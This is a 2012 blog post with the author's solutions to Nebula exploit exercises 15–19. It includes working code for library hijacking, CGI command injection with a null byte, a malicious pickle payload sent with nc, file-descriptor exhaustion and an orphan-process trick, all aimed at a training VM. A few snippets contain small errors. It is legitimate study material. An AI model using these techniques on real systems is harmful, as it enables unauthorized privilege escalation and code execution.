Nebula Shell Exploits (Solutions 15-19)
Shell-based exploit exercises
Published on 17 August 2012Overview
This is third and final post of my solutions for Exploit Exercises. This comes about a month after finishing 10-14 – I was distracted by some other projects.
Level 15
Description (full): strace
on the binary reveals that it searches for libraries based on hardware capabilities.
$ strace /home/flag15/flag15 2>&1 | less
...
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc25f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc25f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc25f24) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78cd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc25f24) = -1 ENOENT (No such file or directory)
...
We want to either substitute our own version of libc, overriding the puts()
call in flag15
, or we want to execute code in the process. While the hard part isn’t creating our own shared library, we have to figure out how to prevent libc
from being linked into our library. This solution executes code in the makeshift libc.so
.
#!/bin/bash
# /home/level15/flag.sh
getflag > /home/flag15/getflag.log
~/version
: preventing an error about requiring GLIBC_2.0
:
GLIBC_2.0 { };
~/run.sh
: A makeshift Makefile that also executes our code.
#!/bin/bash -ex
# run.sh
gcc -fPIC -g -c -Wall getflag.c
gcc -shared -Wl,-Bstatic,-soname,libc.so.6,--version-script,version -o libc.so.6 getflag.o -L/usr/lib/i386-linux-gnu -static-libgcc
mv /home/level15/libc.so.6 /var/tmp/flag15/
/home/flag15/flag15
cat /home/flag15/getflag.log
~/getflag.c
: another interpretation of “libc,” but it happens to call execv
.
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
// If this isn't here, we have an error about a missing symbol
void __cxa_finalize(void *d) {
return;
}
// http://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
char *args_new[] = { "/bin/sh", "/home/level15/flag.sh" };
execve("/bin/sh", args_new);
return 0;
}
$ ./run.sh
You have successfully executed getflag on a target account
Level 16
Description (full): A Perl script running on port 1616 runs egrep
with user input. It has some red herrings about a username and a password, but the goal is to execute arbitrary code.
This solution uses null byte injection to execute arbitrary commands on the target account.
There are two parts to the solution:
- The Perl script converts all input to uppercase. We work around this by using a wildcard match, searching for
/tmp/RUN/
(our script) as/*/RUN
. - The Perl string doesn’t immediately allow us to execute arbitrary code. We have to terminate the string correctly with the right combination of
"
, “\
", and
%00`. The last one is the null character in a URL.
#!/bin/bash
# /home/level16/curl
echo $1 # sanity check
url="http://localhost:1616/index.cgi?username=$1&password=foo"
echo $uri
curl --globoff $3 "$uri"
ls /home/flag16 | grep getflag.log
#!/bin/bash
# /tmp/RUN
getflag > /home/flag16/getflag.log
$ ~/curl ' "`/*/RUN` %00 '
$ cat /home/flag16/getflag.log
You have successfully executed getflag on a target account
Level 17
Description (full): A Python script running on port 10007 loads pickled data from input.
The vulnerability of the Python pickle
module is well-documented. The Python docs say:
Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source
This article gives us an example of malicious Pickle data.
Our pickled “data” goes in ~/cmd
:
cos
system
(S' /tmp/run17'
tR.
We send the pickled data to the listening script.
$ cat /tmp/run17
#!/bin/bash
getflag > /home/flag17/getflag.log
$ cat cmd | nc localhost 10007
Accepted connection from 127.0.0.1:56228^C
$ cat /home/flag17/getflag.log
You have successfully executed getflag on a target account
Interpreting Pickled data
I was curious about the parts of the malicious pickle. I searched first for the pickle
format specification, but I wasn’t able to find it. I was a bit surprised that I was only able to find one article related to the semantics of the pickle format. Part of our input is explained:
The ‘(‘ is simply a marker. It is a object in the stack that tells the tuple builder, ‘t’, when to stop. The tuple builder pops items from the stack until it reaches a marker. Then, it creates a tuple with these items and pushes this tuple back on the stack. You can use multiple markers to construct a nested tuple…
Level 18
Description (full): flag18
is a program that mimics a login shell with various options such as login
, logout
, shell
(see full description). The flag directory contains an unreadable password file.
Discussion
This problem was more complex than the others, given the number of options provided initially.
There are flags on flag19
for a debug file and a verbose level. Using -d /dev/tty
saves us some effort.
$ /home/flag19/flag19 -d /dev/tty -vvvvv
login
got [login] as input
attempting to login
If we iterate through the possible commands, we can rule out some paths.
- There’s no apparent path for dumping the contents of the password file through the code.
- The
notsupported()
andsetuser()
functions seem to deal with strings and buffers. These are potential solutions, but from a metagame perspective, Nebula solutions use shell exploits, not memory exploits.
We can confirm this by trying playing around with buffer overflows and format strings:
site exec %s%s%s%s%s # notsupported() -> prints some of the stack
site exec %n # notsupported() -> fails with *** %n in writable segment detected ***
setuser AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # setuser() -> exits immediately, detecting buffer overflow
Solution
if(fp)
will fail if the file can’t be opened for any reason. Since the files opened by login
are never closed, we can open files until we reach the maximum number of file descriptors. fp
will then be NULL
once the maximum number is reached. Finally, we use closelog
to free a file descriptor.
If closelog
isn’t called, execve("/bin/sh", ...)
will fail with an error loading a shared library libncurses.so.5
.
$ for i in $(seq 1 2000); do echo "login foo" >> ~/flood; done
$ echo "closelog" >> ~/flood
$ echo "shell" >> ~/flood
$ echo "getflag > /tmp/getflag.log" > /tmp/getflag && chmod a+x /tmp/getflag
The initial attempt looks like this:
$ cd /home/flag18/
$ cat ~/flood | ./flag18 -d /dev/tty
...
/home/flag18/flag18: -d: invalid option
sh
doesn’t have a -d
flag. The author left a hint to look at the options in the man page; sh
needs an option that ignores the input afterwards.
$ cat ~/flood | ./flag18 --init-file /tmp/getflag -d /dev/tty
This actually opens a promptless shell reading from stdin.
...
logged in successfully (without password file)
logged in successfully (without password file)
logged in successfully (without password file)
whoami
flag18
cat /home/flag18/password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account
The password doesn’t seem to work for logging into the flag18
account, but the shell can execute getflag
.
Level 19
Description (full): The flag19
executable checks if the root user started the process. If so, then it runs execve
on /bin/sh
.
CS61 Lecture Notes (Processes) was particularly valuable here. I won’t end up taking the class, but I should show my appreciation for the lecture notes – they’re all very well made.
We want to start flag19
in an orphan process. An orphan process is claimed by the program init
(PID 1), which is owned by root (UID 0). The plan looks like:
- Use
fork()
to create a child process, exit the parent process, andsleep()
to create an orphan. - Execute
/home/flag19/flag19
with our arguments Thestat
should complete successfully, as we control the time of check.
// attempt.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main() {
if (fork() == 0) {
sleep(10);
printf("executing code in orphan…\n");
fflush(stdout);
char *flag19_args[] = { "-c" "/home/level19/run19.sh" };
execv("/home/flag19/flag19", flag19_args);
return;
}
else {
printf("returning from parent\n");
exit(0);
}
printf("sanity check, outside both - should never happen\n");
}
#!/bin/bash.sh
# /home/level19/run19.sh
# Standard getflag wrapper
file=/home/flag19/getflag19.log
getflag > ${file}
id >> ${file}
$ gcc -o attempt.c attempt
$ ./attempt
returning from parent
$ executing code in orphan...
$ cat /home/flag19/getflag19.log
You have successfully executed getflag on a target account
uid=1020(level19) ...
Tangent
I ran into an interesting issue caused by laziness (well, in reality, a desire for flexibility).
The code below does not run execve
as suid. It runs it as the user level19
instead of flag19
, which may have been caused by passing down envp
.
int main(int argc, char **argv, char **envp) {
if (fork () == 0) {
// our other code…
execve("/home/flag19/flag19", argv, envp);
}
}
This meant that I could conveniently pass arguments through the executable:
gcc attempt.c -o attempt
./attempt "/home/level19/run19.sh"
Unfortunately, it also meant that getflag
wouldn’t execute on the correct user.